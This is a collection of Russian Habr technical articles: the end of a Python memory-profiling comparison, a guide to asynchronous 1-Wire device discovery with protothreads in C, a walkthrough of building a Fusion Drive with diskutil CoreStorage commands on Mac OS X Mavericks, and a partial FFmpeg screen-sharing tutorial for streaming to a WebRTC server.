Решение с распаковкой отличается в 3 раза от Python way решений.
И быстрее всего, прям в два раза относительно первых двух, сравниваем с ними, т.к. это решения Python way, оказалость пятое решение.
**Тест памяти**
Давайте теперь протеституем эти решения на память.
```
sergey@ideapad-320S:~/test_speed$ python3 -m memory_profiler t1.py
Filename: t1.py
Line # Mem usage Increment Occurences Line Contents
============================================================
3 154.770 MiB 154.770 MiB 1 @profile
4 def k():
5 154.770 MiB 0.000 MiB 1000003 result = [0 for i in a]
```
```
sergey@ideapad-320S:~/test_speed$ python3 -m memory_profiler t2.py
Filename: t2.py
Line # Mem usage Increment Occurences Line Contents
============================================================
3 154.648 MiB 154.648 MiB 1 @profile
4 def k():
5 154.648 MiB 0.000 MiB 1000003 result = [0 for _ in a]
```
```
sergey@ideapad-320S:~/test_speed$ python3 -m memory_profiler t3.py
Filename: t3.py
Line # Mem usage Increment Occurences Line Contents
============================================================
11 154.586 MiB 154.586 MiB 1 @profile
12 def k():
13 154.586 MiB 0.000 MiB 1 result = list(m(a))
```
```
sergey@ideapad-320S:~/test_speed$ python3 -m memory_profiler t4.py
Filename: t4.py
Line # Mem usage Increment Occurences Line Contents
============================================================
3 154.527 MiB 154.527 MiB 1 @profile
4 def k():
5 154.527 MiB 0.000 MiB 1 result = list(map(int, [*'0'*len(a)]))
```
```
sergey@ideapad-320S:~/test_speed$ python3 -m memory_profiler t5.py
Filename: t5.py
Line # Mem usage Increment Occurences Line Contents
============================================================
3 154.484 MiB 154.484 MiB 1 @profile
4 def k():
5 154.484 MiB 0.000 MiB 1 result = [0]*len(a)
```
На самом деле, проведя тесты несколько раз, разброс у каждого решения был +- 0.2 мб, тем самым, я бы сказал, что различия занимаемой памяти у скриптов не критичны. | https://habr.com/ru/post/570094/ | null | ru | null |
# (Не) любителям protothreads посвящается: Высокоуровневые функции для работы с 1-Wire
Подразумевается, что мы будем писать прошивку под «голое железо». В противном случае применение protothreads смысла не имеет, т.к. мультизадачность должна обеспечиваться средствами ОС. Подразумевается также, что нам необходимо реализовать несколько более-менее сложных алгоритмов, связанных с операциями ввода-вывода. Ну и, как всегда в микроконтроллерах, очевидные требования по экономии RAM и энергопотребления.
В качестве примера рассмотрим задачу обслуживания устройств на шине 1-Wire. Реализацию асинхронных примитивов для нее можно посмотреть в моих предыдущих статьях [здесь](#stm) и [здесь](#avr).
Для PnP-реализации необходимо, чтобы программа могла самостоятельно определять характеристики шины, такие как максимально допустимая скорость обмена, список идентификаторов подключенных в данный момент устройств и условия по их электропитанию.
Максимально допустимую скорость обмена мы определяем для того, чтобы впоследствии общаться с быстродействующими устройствами как можно более оперативно. При этом медленные устройства этот обмен «не заметят» и мешать нам не будут.
Условия по электропитанию надо знать для того, чтобы (при необходимости) после подачи команды на выполнение измерений (или программирования EEPROM) включить режим active pullup. В противном случае при использовании parasite power мы получим ошибку при попытке прочитать результат измерений (ну либо придется ставить низкоомные подтягивающие резисторы, что, наверное, не является красивым решением).
Ну а уж список идентификаторов подключенных в данный момент устройств нам иметь просто жизненно необходимо. Иначе как мы собираемся к ним обращаться?
Алгоритм определения характеристик шины:
1. Попытаемся выполнить процедуру RESET в режиме OVERDRIVE. Если при этом был обнаружен PRESENCE, то значит, как минимум, некоторые из подключенных устройств умеют работать на высокой скорости. В этом случае переходим к п.3.
2. Попытаемся выполнить процедуру RESET в нормальном режиме. Если при этом был обнаружен PRESENCE, то на шине 1-Wire имеется, как минимум, одно подключенное устройство и мы переходим к п.3. В противном случае подключенных к шине устройств в данный момент нет.
3. Передаем на шину команду «Адресовать все устройства» и затем команду «Прочитать условия электропитания». В случае, если хотя бы одно из подключенных устройств использует режим parasite power,
установим соответствующий флаг.
А вот алгоритм определения идентификаторов подключенных устройств достаточно громоздкий. Его синхронная реализация приведена в [APPLICATION NOTE 187](#apn_187), я просто переделал ее в асихнронную.
На всех этапах выполнения алгоритмов желательно отслеживать ошибки, которые могут возникнуть из-за появления помех на шине 1-Wire. В зависимости от точки возникновения ошибки можно либо автоматически попытаться повторить выполняемую операцию, либо вернуть негативный статус завершения.
Далее предполагается, что у читателя есть минимальные знания о [protothreads](#dunkels). Кому тяжело понимать англоязычные тексты, может, для начала, почитать [здесь](#continuation) и [здесь](#multitask).
Под спойлером пример вызова процедур определения параметров шины и обнаружения подключенных устройств из основной программы.
**Основная программа**
```
PT_INIT(&ptSearchContext.pt);
/* Определение максимальной скорости обмена и условий электропитания подключенных устройств */
while(PT_SCHEDULE(c = ptOneWireProbeBus(&ptSearchContext.pt, &nested))) {
if(PT_WAITING == c) {
/* Операция в процессе выполнения, можно заняться чем-либо еще */
waitComplete();
continue;
}
}
/* Инициализируем контекст перед первым вызовом */
ptOneWireInitWalkROM(&ptSearchContext);
/* Выполнение задачи определения подключенных к 1-Wire устройств */
while(PT_SCHEDULE(c = ptOneWireWalkROM(&ptSearchContext))) {
if(PT_WAITING == c) {
/* Операция в процессе выполнения, можно заняться чем-либо еще */
waitComplete();
continue;
}
/* На шине 1-Wire обнаружено очередное устройство.
* Его S/N находится в массиве ptSearchContext.romid
*/
__no_operation();
}
/* Все устройства просканированы */
__no_operation();
```
Это демонстрационный пример. В реальной программе вместо вызова функции waitComplete() мы можем переключаемся на обслуживание других protothreads (а если их нет, то войти в режим пониженного энергопотребления).
**Макрокоманды, используемые в реализации**
```
#define OVERDRIVE() \
drv_onewire_context.overdrive
#define PRESENCE_DETECTED() \
drv_onewire_context.presence
#define PARASITE_POWER \
drv_onewire_context.parasite
#define STATUS \
drv_onewire_context.status
#define PT_WAIT_IO_COMPLETE() \
PT_WAIT_WHILE(TASK_CONTEXT, ONEWIRE_STATUS_PROGRESS == (dummy = drvOneWireStatus()))
#define IO_SUCCESS() \
(ONEWIRE_STATUS_COMPLETE == dummy)
#define PT_TX_BITS(_v,_n) do { \
if(drvOneWireTxBits((_v),(_n))) { \
PT_WAIT_IO_COMPLETE(); } else { \
dummy = ONEWIRE_STATUS_ERROR; } } while(0)
#define PT_TX_BYTE(_v) \
PT_TX_BITS((_v), 8)
#define PT_RX_BITS(_n) \
PT_TX_BITS(~0,(_n))
#define PT_TX_BYTE_CONST(_v) do { \
PT_TX_BYTE((_v)); \
if(!IO_SUCCESS() || ((_v) != drvOneWireRxBits(8))) { \
STATUS = ONEWIRE_STATUS_ERROR; } } while(0)
```
Краткое описание:
PT\_WAIT\_IO\_COMPLETE()
Ожидание завершения операции ввода/вывода. Предназначена для применения только внутри protothread.
PT\_TX\_BITS(\_v,\_n)
Передача \_n бит из значения \_v на шину с ожиданием завершения операции ввода/вывода. Предназначена для применения только внутри protothread.
PT\_TX\_BYTE(\_v)
Передача байта \_v на шину с ожиданием завершения операции ввода/вывода. Предназначена для применения только внутри protothread.
PT\_RX\_BITS(\_n)
Прием \_n бит с ожиданием завершения операции ввода/вывода. Предназначена для применения только внутри protothread.
PT\_TX\_BYTE\_CONST(\_v)
Передача байта команды (констатны) на шину с проверкой отсутствия искажений передаваемых данных и ожиданием завершения операции ввода/вывода. Предназначена для применения только внутри protothread.
Следует отметить, что «ожидание завершения ввода вывода» в данном случае обозначает не глухой цикл с проверкой какого-либо условия, а прерывание текущей protothread со статусом PT\_WAITING. Это позволяет выполнять другие protothreads с периодической проверкой текущей до момента завершения активированной операции ввода/вывода.
**Передача команды адресации всех устройств**
```
PT_THREAD(ptOneWireTargetAll(struct pt * _pt)) {
uint8_t dummy;
PT_BEGIN(TASK_CONTEXT);
PT_TX_BYTE_CONST(OP_SKIP_ROM);
PT_END(TASK_CONTEXT);
}
```
Операция адресации всех устройств может быть использована и с другими командами шины 1-Wire, поэтому она была оформлена в виде отдельной protothreads.
**Процедура определения параметров шины**
```
PT_THREAD(ptOneWireProbeBus(struct pt * _pt, struct pt * _nested)) {
uint8_t dummy;
PT_BEGIN(TASK_CONTEXT);
/* Parasite power not detected */
PARASITE_POWER = 0;
/* Try overdrive procedure first */
if(drvOneWireReset(1)) {
PT_WAIT_IO_COMPLETE();
if(!IO_SUCCESS() || !PRESENCE_DETECTED()) {
/* Overdrive RESET procedure failed */
if(drvOneWireReset(0)) {
PT_WAIT_IO_COMPLETE();
if(!IO_SUCCESS() || !PRESENCE_DETECTED()) {
/* No devices on the bus */
PT_EXIT(TASK_CONTEXT);
}
} else {
/* Hardware BUSY */
PT_EXIT(TASK_CONTEXT);
}
}
} else {
/* Hardware BUSY */
PT_EXIT(TASK_CONTEXT);
}
PT_SPAWN(TASK_CONTEXT, _nested, ptOneWireTargetAll(_nested));
if(ONEWIRE_STATUS_COMPLETE == STATUS) {
PT_TX_BYTE_CONST(OP_READ_POWER_SUPPLY);
if(IO_SUCCESS()) {
/* Read one bit after command */
PT_RX_BITS(1);
if(IO_SUCCESS()) {
/* Fetch bit value */
int16_t value = drvOneWireRxBits(1);
if(value < 0) {
/* Rx bit decode failed */
STATUS = ONEWIRE_STATUS_ERROR;
} else {
/* If any device sent "0" then it used parasite power */
PARASITE_POWER = value ? 0 : 1;
}
}
}
}
PT_END(TASK_CONTEXT);
}
```
Код достаточно простой и реализует описанный выше [алгоритм](#probe).
**Процедура определения идентификаторов подключенных устройств**
```
PT_THREAD(ptOneWireWalkROM(pt_onewire_search_context_t * _ctx)) {
PT_BEGIN(TASK_CONTEXT);
while(!LAST_DEVICE_FLAG) {
int16_t dummy;
/* initialize for search */
ID_BIT_NUMBER = 1;
LAST_ZERO = 0;
ROM_BYTE_NUMBER = 0;
ROM_BYTE_MASK = 1;
/* 1-Wire reset (dependent on OVERDRIVE flag) */
PT_ONEWIRE_RESET();
if(!IO_SUCCESS() || !PRESENCE_DETECTED()) {
// reset the search
LAST_DISCREPANCY = 0;
LAST_DEVICE_FLAG = 0;
LAST_FAMILY_DISCREPANCY = 0;
/* If presence not detected then no devices on the bus */
PT_EXIT(TASK_CONTEXT);
}
/* issue the search command */
PT_TX_BYTE(OP_SEARCH_ROM);
if(!IO_SUCCESS() || (OP_SEARCH_ROM != drvOneWireRxBits(8))) {
/* Send command error, repeat procedure from RESET point */
/* Other solution is abort search procedure */
continue;
}
// loop to do the search
do {
// read a bit and its complement
PT_RX_BITS(2);
if(!IO_SUCCESS()) {
/* Error while receiving 2 bits.
* As ID_BIT_NUMBER less than 65 search procedure
* resumed from state such as original task entry.
*/
break;
}
if((RX_VALUE = drvOneWireRxBits(2)) < 0) {
__no_operation();
break;
}
uint8_t id_bit = (RX_VALUE & 0x01) ? 1 : 0;
uint8_t cmp_id_bit = (RX_VALUE & 0x02) ? 1 : 0;
uint8_t search_direction;
/* check for no devices on 1-wire */
if ((id_bit == 1) && (cmp_id_bit == 1)) {
/* Same bit values equ "1" indicate no devices on the bus */
break;
} else {
/* all devices coupled have 0 or 1 */
if (id_bit != cmp_id_bit) {
search_direction = id_bit; /* bit write value for search */
} else {
/* if this discrepancy if before the LAST_DISCREPANCY
on a previous next then pick the same as last time */
if (ID_BIT_NUMBER < LAST_DISCREPANCY) {
search_direction = (ROMID_BYTE_REF(ROM_BYTE_NUMBER) & ROM_BYTE_MASK) ? 1 : 0;
} else {
/* if equal to last pick 1, if not then pick 0 */
search_direction = (ID_BIT_NUMBER == LAST_DISCREPANCY) ? 1 : 0;
}
/* if 0 was picked then record its position in LAST_ZERO */
if (search_direction == 0) {
LAST_ZERO = ID_BIT_NUMBER;
}
/* check for LAST_FAMILY_DISCREPANCY in family */
if (LAST_ZERO < 9) {
LAST_FAMILY_DISCREPANCY = LAST_ZERO;
}
}
}
/* set or clear the bit in the ROM byte ROM_BYTE_NUMBER
with mask rom_byte_mask */
if (search_direction == 1) {
ROMID_BYTE_REF(ROM_BYTE_NUMBER) |= ROM_BYTE_MASK;
} else {
ROMID_BYTE_REF(ROM_BYTE_NUMBER) &= ~ROM_BYTE_MASK;
}
/* serial number search direction write bit */
PT_TX_BITS(search_direction, 1);
/* search_direction not stored, therefore we can't check echo */
if(!IO_SUCCESS()) {
/* Sending direction failed.
* As ID_BIT_NUMBER less than 65 search procedure
* resumed from state such as original task entry.
*/
break;
}
/* increment the byte counter ID_BIT_NUMBER
and shift the mask rom_byte_mask */
ID_BIT_NUMBER++;
ROM_BYTE_MASK <<= 1;
/* if the mask is 0 then go to new SerialNum byte ROM_BYTE_NUMBER and reset mask */
if (ROM_BYTE_MASK == 0) {
ROM_BYTE_NUMBER++;
ROM_BYTE_MASK = 1;
}
} while(ROM_BYTE_NUMBER < 8); /* loop until through all ROM bytes 0-7 */
/* if the search was successful then */
if(!(ID_BIT_NUMBER < 65)) {
uint8_t i;
/* Calculate CRC */
uint8_t crc = 0;
for(i = 0;i < sizeof(ROMID);i++) {
crc = modOneWireUpdateCRC(crc, ROMID_BYTE_REF(i));
}
if(crc) {
/* CRC error.
* Repeat procedure from original point
*/
continue;
}
/* search successful so set LAST_DISCREPANCY and LAST_DEVICE_FLAG */
LAST_DISCREPANCY = LAST_ZERO;
// check for last device
if (LAST_DISCREPANCY == 0) {
LAST_DEVICE_FLAG = 1;
}
/* Next device detection complete */
} else {
/* I/O error.
* Retry procedure from original point
*/
continue;
}
if(!ROMID.id.familyCode) {
/* familyCode не должен быть равен 0! */
break;
}
/* Return detected device S/N */
PT_YIELD(TASK_CONTEXT);
}
/* Reset state for next scan loop (if need) */
ptOneWireInitWalkROM(CONTEXT);
PT_END(TASK_CONTEXT);
}
/*
* Initialize device search procedure
*/
void ptOneWireInitWalkROM(pt_onewire_search_context_t * _ctx) {
/* Prepare ptOneWireWalkROM() for first call */
LAST_DISCREPANCY = 0;
LAST_DEVICE_FLAG = 0;
LAST_FAMILY_DISCREPANCY = 0;
/* Initialize protothreads data */
PT_INIT(TASK_CONTEXT);
}
```
Я просто взял синхронную реализацию от [Maxim](#apn_187) и заменил обращения к процедурам ввода/вывода на асинхронные макрокоманды. Все это вместе с прогонкой тестовых примеров заняло у меня порядка получаса. Интересно, сколько пришлось бы возиться без применения обертки protothreads?
Полный исходный код проекта для STM8L-Discovery board размещен на [github](#code). Для создания сборки с вышеприведенными примерами при компиляции необходимо определить символ HIGH\_LEVEL.
Список литературы:
1. [Код проекта на github](https://github.com/vedga/1-wire)
2. [Примитивы для реализации 1-Wire master при помощи PWM и ICP для STM8L и STM32](https://habrahabr.ru/post/326114/)
3. [Примитивы для реализации 1-Wire master при помощи PWM и ICP на микроконтроллерах AVR AtMega](https://habrahabr.ru/post/322710/)
4. [Protothreads from Adam Dunkels](http://dunkels.com/adam/pt/index.html)
5. Хабр от [ldir](https://habrahabr.ru/users/ldir/) [Многозадачность в микроконтроллерах на основе продолжений](https://habrahabr.ru/post/143318/)
6. Хабр от [LifeV](https://habrahabr.ru/users/lifev/) [Protothread и кооперативная многозадачность](https://habrahabr.ru/company/embox/blog/244361/)
7. [APPLICATION NOTE 187. 1-Wire Search Algorithm](https://www.maximintegrated.com/en/app-notes/index.mvp/id/187) | https://habr.com/ru/post/326320/ | null | ru | null |
# Переходим на Fusion Drive (Mac OS X Mavericks)
***UPDATE: От одного из читателей поступила информация, что собраный по данной методике FD не работает должным образом — не переносит часто используемые файлы на SSD. Возможно, это исключительный случай, но я проверю актуальность статьи для современных macOS. Ну а тем, кто решит воспользоваться статьей рекомендую иметь резервную копию системы и данных для возможности создания FD с нуля по [моей первой статье](http://habrahabr.ru/post/159147/), если что-то пойдет не так.***
В статье [Переходим на Fusion Drive](http://habrahabr.ru/post/159147/) я изложил способы, которые связаны с потерей информации на подопытных дисках. К счастью недавно появилась возможность этого избежать.
Свою предыдущую статью про Fusion Drive я закончил несколько грустным замечанием о невозможности создания FD налету, без необходимости переноса данных с дисков. Нельзя было и манипулировать дисками (добавлять и удалять) в созданном FD. К счастью ситуация изменилась в Mac OS X Mavericks. Спасибо инженерам Apple.
Использованное железо и софт:
* Mac OS X 10.9.0
* виртуальный диск 40Gb (системный диск)
* виртуальный диск 5Gb (диск которым присоединим к созданному FD)
Все операции я проделал на виртуальной машине, т.к. реальные давно работают с FD.
Перед началом конвертирования диска убедитесь в наличие резервной копии системы!
Система до модернизации
```
bash-3.2# diskutil list
/dev/disk0
#: TYPE NAME SIZE IDENTIFIER
0: GUID_partition_scheme *42.9 GB disk0
1: EFI EFI 209.7 MB disk0s1
2: Apple_HFS Macintosh HD 42.6 GB disk0s2
```
Подготовим существующий раздел диска disk0s2 для FD.
```
bash-3.2# diskutil cs convert disk0s2
Started CoreStorage operation on disk0s2 Macintosh HD
Resizing disk to fit Core Storage headers
Creating Core Storage Logical Volume Group
Attempting to unmount disk0s2
Switching disk0s2 to Core Storage
Couldn't unmount disk0s2; converted volume won't appear until it's unmounted
Core Storage LVG UUID: 59142646-86FC-4E01-983F-43E167B23D45
Core Storage PV UUID: 6EF1FB47-1953-45D0-976A-4B99A5809C10
Core Storage LV UUID: 29DC7C2D-3D59-4029-AE68-25404CD45D7A
Finished CoreStorage operation on disk0s2 Macintosh HD
```
Система сообщает, что диск конвертирован, но появится после размонтирования. Проверяем новую конфигурацию:
```
# diskutil cs list
CoreStorage logical volume groups (1 found)
|
+-- Logical Volume Group 59142646-86FC-4E01-983F-43E167B23D45
=========================================================
Name: Macintosh HD
Status: Offline
Size: 0 B (0 B)
Free Space: -none-
|
+-< Physical Volume 6EF1FB47-1953-45D0-976A-4B99A5809C10
----------------------------------------------------
Index: 0
Disk: disk0s2
Status: Checking
Size: 42605699072 B (42.6 GB)
```
Перезагружаемся и попутно добавляем виртуальный диск 5Гб для расширения дискового пространства.
```
# diskutil cs list
CoreStorage logical volume groups (1 found)
|
+-- Logical Volume Group 59142646-86FC-4E01-983F-43E167B23D45
=========================================================
Name: Macintosh HD
Status: Online
Size: 42605699072 B (42.6 GB)
Free Space: 16777216 B (16.8 MB)
|
+-< Physical Volume 6EF1FB47-1953-45D0-976A-4B99A5809C10
| ----------------------------------------------------
| Index: 0
| Disk: disk1s2
| Status: Online
| Size: 42605699072 B (42.6 GB)
|
+-> Logical Volume Family 6F8A2C40-860F-411A-B4D0-9BA2380504FB
----------------------------------------------------------
Encryption Status: Unlocked
Encryption Type: None
Conversion Status: NoConversion
Conversion Direction: -none-
Has Encrypted Extents: No
Fully Secure: No
Passphrase Required: No
|
+-> Logical Volume 29DC7C2D-3D59-4029-AE68-25404CD45D7A
---------------------------------------------------
Disk: disk2
Status: Online
Size (Total): 42270150656 B (42.3 GB)
Conversion Progress: -none-
Revertible: Yes (no decryption required)
LV Name: Macintosh HD
Volume Name: Macintosh HD
Content Hint: Apple_HFS
```
Видим, что система активировала FD диск и использует его. Добавленный виртуальный диск получил имя disk0, сконвертированный диск — disk1, объединённый диск FD — disk2.
```
# diskutil list
/dev/disk0
#: TYPE NAME SIZE IDENTIFIER
0: *5.4 GB disk0
/dev/disk1
#: TYPE NAME SIZE IDENTIFIER
0: GUID_partition_scheme *42.9 GB disk1
1: EFI EFI 209.7 MB disk1s1
2: Apple_CoreStorage 42.6 GB disk1s2
3: Apple_Boot Boot OS X 134.2 MB disk1s3
/dev/disk2
#: TYPE NAME SIZE IDENTIFIER
0: Apple_HFS Macintosh HD *42.3 GB disk2
```
Смотрим параметры запуска недокументированной команды
```
# diskutil cs addDisk
Usage: diskutil coreStorage addDisk lvgUUID NewMemberDeviceName
Add a new physical volume to a CoreStorage logical volume group.
Ownership of the affected disks is required.
Example: diskutil coreStorage addDisk
11111111-2222-3333-4444-555555555555 disk4s2
```
Запускаем команду добавления диска disk0 в LVG 59142646-86FC-4E01-983F-43E167B23D45
```
bash-3.2# diskutil cs adddisk 59142646-86FC-4E01-983F-43E167B23D45 disk0
Started CoreStorage operation on disk0
Unmounting disk0
Repartitioning disk0
Unmounting disk
Creating the partition map
Rediscovering disk0
Adding disk0s2 to Logical Volume Group
Switching disk0s2 to Core Storage
Waiting for Logical Volume Group to come back online
Core Storage PV UUID: 4C255180-5FDD-4BF8-8CAD-EFA5F1B5C0B8
Finished CoreStorage operation on disk0
```
Проверяем что получилось
```
# diskutil cs list
CoreStorage logical volume groups (1 found)
|
+-- Logical Volume Group 59142646-86FC-4E01-983F-43E167B23D45
=========================================================
Name: Macintosh HD
Status: Online
Size: 47630434304 B (47.6 GB)
Free Space: 4756291584 B (4.8 GB)
|
+-< Physical Volume 6EF1FB47-1953-45D0-976A-4B99A5809C10
| ----------------------------------------------------
| Index: 0
| Disk: disk1s2
| Status: Online
| Size: 42605699072 B (42.6 GB)
|
+-< Physical Volume 4C255180-5FDD-4BF8-8CAD-EFA5F1B5C0B8
| ----------------------------------------------------
| Index: 1
| Disk: disk0s2
| Status: Online
| Size: 5024735232 B (5.0 GB)
|
+-> Logical Volume Family 6F8A2C40-860F-411A-B4D0-9BA2380504FB
----------------------------------------------------------
Encryption Status: Unlocked
Encryption Type: None
Conversion Status: NoConversion
Conversion Direction: -none-
Has Encrypted Extents: No
Fully Secure: No
Passphrase Required: No
|
+-> Logical Volume 29DC7C2D-3D59-4029-AE68-25404CD45D7A
---------------------------------------------------
Disk: disk2
Status: Online
Size (Total): 42270150656 B (42.3 GB)
Conversion Progress: -none-
Revertible: No
LV Name: Macintosh HD
Volume Name: Macintosh HD
Content Hint: Apple_HFS
```
Обратите внимание, что теперь у нас в группе томов два физических тома (Physical Volume), но система пока использует только первый и есть 5Гб свободного пространства.
Теперь необходимо расширить Logical Volume 29DC7C2D-3D59-4029-AE68-25404CD45D7A до максимально возможного размера Size: 47630434304 B (47.6 GB).
Теоретически должна работать команда
```
bash-3.2# diskutil cs resizevolume 29DC7C2D-3D59-4029-AE68-25404CD45D7A 47630434304B
```
В моем случае выдавалась ошибка о недостаточном свободном пространстве. Я перевёл 47630434304B в килобайты и запустил
```
bash-3.2# diskutil cs resizevolume 29DC7C2D-3D59-4029-AE68-25404CD45D7A 46514096k
The Core Storage Logical Volume UUID is 29DC7C2D-3D59-4029-AE68-25404CD45D7A
Started CoreStorage operation
Checking file system
...
Growing Logical Volume
Resizing Core Storage Logical Volume structures
Resized Core Storage Logical Volume to 46514094080 bytes
Growing file system
Finished CoreStorage operation
```
При тестировании на другой виртуальной машине всё работало когда указывал размер в байтах и диск создался максимально возможного размера. Видимо дело в размере дисков. Можно пытаться запускать команду постепенно уменьшая размер в байтах или как сделал я.
Итог
```
# diskutil cs list
CoreStorage logical volume groups (1 found)
|
+-- Logical Volume Group 59142646-86FC-4E01-983F-43E167B23D45
=========================================================
Name: Macintosh HD
Status: Online
Size: 47630434304 B (47.6 GB)
Free Space: 512348160 B (512.3 MB)
|
+-< Physical Volume 6EF1FB47-1953-45D0-976A-4B99A5809C10
| ----------------------------------------------------
| Index: 0
| Disk: disk1s2
| Status: Online
| Size: 42605699072 B (42.6 GB)
|
+-< Physical Volume 4C255180-5FDD-4BF8-8CAD-EFA5F1B5C0B8
| ----------------------------------------------------
| Index: 1
| Disk: disk0s2
| Status: Online
| Size: 5024735232 B (5.0 GB)
|
+-> Logical Volume Family 6F8A2C40-860F-411A-B4D0-9BA2380504FB
----------------------------------------------------------
Encryption Status: Unlocked
Encryption Type: None
Conversion Status: NoConversion
Conversion Direction: -none-
Has Encrypted Extents: No
Fully Secure: No
Passphrase Required: No
|
+-> Logical Volume 29DC7C2D-3D59-4029-AE68-25404CD45D7A
---------------------------------------------------
Disk: disk2
Status: Online
Size (Total): 46514094080 B (46.5 GB)
Conversion Progress: -none-
Revertible: No
LV Name: Macintosh HD
Volume Name: Macintosh HD
Content Hint: Apple_HFS
```
Всем успешного перехода на Fusion Drive! | https://habr.com/ru/post/200362/ | null | ru | null |
# Всемогущий FFmpeg: скриншаринг в WebRTC
Когда мы пишем статьи о своем сервере в комментариях очень часто находится читатель, который говорит:
"И зачем такой огород городить? Все это одной FFmpeg командой делается!"
Вот, например, тот же скриншаринг. Всего одной FFmpeg командой можно записать происходящее на экране в файл. А дальше? Если например нужно транслировать скриншаринг на сайт? Будем записывать в файлы, загружать их на Web-сервер и запускать на сайте? Для какого-то статичного контента может быть и подойдет, но вот для "живой" трансляции вряд ли.
Вот на этом этапе и становится недостаточно только "одной команды" (хотя, забегая вперед, скажу, что одной командой мы все же обошлись), нужно еще какое-то промежуточное звено, которое позволит превратить скриншаринг захваченный FFmpeg-ом в WebRTC трансляцию.
Задача очень простая — нужно транслировать происходящее на экране компьютера на сайт, где поток будет воспроизводиться по технологии WebRTC. Захватить нужно как видео, так и звук.
Рассмотрим два варианта решения с помощью FFmpeg, под Linux и под Windows.
### Когда лучшее враг хорошего
Здесь я решил сделать небольшое признание. При написании этой статьи мне впервые пришлось столкнуться с работой FFmpeg. Пришлось изучать мануалы и достаточно долго гуглить. В итоге, я нагуглил сочетание ключей программы FFmpeg для скриншаринга со звуком, на основании [документации](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241304) добавил ключи для передачи скриншаринга в поток на WCS сервере, успешно протестировал публикацию через FFMpeg и воспроизведение по WebRTC в среде Windows и Linux и начал писать эту статью-инструкцию.
На этапе тестирования команда для FFmpeg скриншаринга показалась мне достаточно хаотичной. Поэтому, работая над текстом статьи я решил ее "причесать" — собрал все что относится к захвату и кодированию видео в начале команды, потом собрал ключи для захвата и кодирования звука и завершил команду ключами для передачи данных на сервер и формирования потока.
*Внимание! НЕ используйте эту команду!*
```
ffmpeg.exe -f gdigrab -i desktop -draw_mouse 1 -rtbufsize 100M -framerate 30 -probesize 10M -c:v libx264 -r 30 -preset ultrafast -tune zerolatency -crf 25 -pix_fmt yuv420p -f dshow -i audio="@device_cm_{33D9A762-90C8-11D0-BD43-00A0C911CE86}\wave_{F585B65B-4690-4433-8109-F16C6389C066}" -acodec aac -f flv rtmp://demo.flashphoner.com:1935/live/rtmp_stream
```
Перед публикацией статьи в блоге я проверил получившуюся команду и, к своему разочарованию, получил полное отсутствие в потоке и аудио, и видео составляющих.
Пришлось вернуться к мануалам и Google.
Я вновь и вновь проверял ключи, с которыми запускается FFmpeg. Я даже нашел альтернативный способ захвата системного звука для Windows (о чем обязательно расскажу далее). Я тестировал с разными драйверами в Windows и разными версиями рабочих столов в Ubuntu, но все мои действия приводили к одному:
На WCS сервере формировался пустой поток.
В одном из мануалов мне попалась фраза, которая прочно засела в моей голове: "Не смешивайте ключи для аудио и видео!". Вот я старательно и раскладывал ключи по полочкам. Сначала связанное с аудио, потом связанное с видео, потом передача в поток.
В какой-то момент, я запустил исходную команду, которая на первый взгляд выглядела хаотичным набором ключей. И, о чудо! В плеере был поток скриншаринга со звуком. Тогда я внимательно присмотрелся к ключам, и, наконец-то, понял свою ошибку. Нельзя смешивать ключи для аудио и видео и ключи для разных действий!
Опытным путем мне удалось выяснить, что структура команды должна быть такой:
```
ключи для захвата аудио + ключи для захвата видео + ключи для кодирования аудио + ключи для кодирования видео + ключи для отправки данных в поток на сервере
```
К сожалению, FFmpeg не поддерживает каких-либо служебных ключей для разделения секций команды, поэтому неопытному пользователю бывает сложно сориентироваться. Далее по тексту, в описаниях ключей я уточню, какие ключи к какому действию относятся.
### FFmpeg скриншаринг под Windows
Рассмотрим запуск скриншаринга в поток с помощью FFmpeg. В командной строке Windows запустите на выполнение следующую команду:
```
ffmpeg.exe -f gdigrab -rtbufsize 100M -framerate 30 -probesize 10M -draw_mouse 1 -i desktop -c:v libx264 -r 30 -preset ultrafast -tune zerolatency -crf 25 -pix_fmt yuv420p -f flv rtmp://demo.flashphoner.com:1935/live/rtmp_stream
```
где:
*//захват видео составляющей скриншаринга*
**-f gdigrab** — драйвер захвата экрана Windows;
**-rtbufsize 100M** — буфер под видео. Трансляция с экрана должна идти быстро и гладко, чтобы не было пропусков кадров. Поэтому лучше сначала записывать видео в оперативную память, а затем FFmpeg сам передаст его в поток.
**-framerate 30** — частота кадров при захвате экрана;
**-probesize 10M** — количество кадров необходимое FFmpeg для идентификации потока;
**-draw\_mouse 1** — захватывать движения мыши;
**-i desktop** — говорим FFmpeg записывать весь экран;
*//кодирование видео составляющей скриншаринга*
**-c:v libx264** — сжимать будем в формат MP4 кодеком x264;
**-r 30** — кодек запишет видео с частотой 30 кадров в секунду;
**-preset ultrafast** — говорим кодеку, чтобы долго не раздумывал и кодировал видеопоток, как можно быстрее (при записи экрана это актуально);
**-tune zerolatency** — опция кодека x264 для ускорения кодирования;
**-crf 25** — качество записываемого видео (большее значение — хуже видео, меньшее — лучше);
**-pix\_fmt yuv420p** — цветовой формат результирующего видео;
*//формирование потока и передача его WCS*
**-f flv rtmp://demo.flashphoner.com:1935/live/rtmp\_stream** — запись в поток с именем "rtmp\_stream" и передача его на сервер demo.flashphoner.com.
Итак. Захватываем экран в поток
и ловим его на стороне [WCS](https://flashphoner.com/review-of-wcs-5-2-server-for-webcast-and-webcam-developers/). (Здесь и далее я использую плеер из примера "[Media Devices](https://flashphoner.com/upravlenie-kameroj-mikrofonom-i-parametrami-potoka/?lang=ru)", потому что он позволяет на скриншоте показать наличие или отсутствие аудио потока.)
Получаем поток [скриншаринга](https://flashphoner.com/demonstraciya-ehkrana-iz-brauzerov-chrome-i-firefox/?lang=ru). Правда без звука. На скриншоте видно, что в разделе "Audio stats" все по нулям.
Теперь предлагаю разобраться с захватом звука.
Первым шагом нужно определить доступные устройства для захвата звука. Все там же, в консоли Windows, выполняем команду:
```
ffmpeg -list_devices true -f dshow -i dummy
```
Получаем примерно такую картину:
В результате выполнения команды выводится список устройств, которые могут записывать или выводить звук. Это будут колонки, микрофоны и веб-камеры. В этом списке найдите имя аудиоустройства, то есть ваших динамиков, с которых вы хотите записывать звук. На скриншоте аудиоустройство, с которого я собираюсь захватывать звук, называется "Stereo Mix (Realtek (R) Audio)". **Stereo Mix** – одно из устройств записи звука. Это виртуальное (программное) устройство, которое позволяет смешивать источники звука, воспроизводимые внутри операционной системы и получаемые с микрофона.
Чтобы захватить звук в исходную команду для скриншаринга нужно добавить ключи:
```
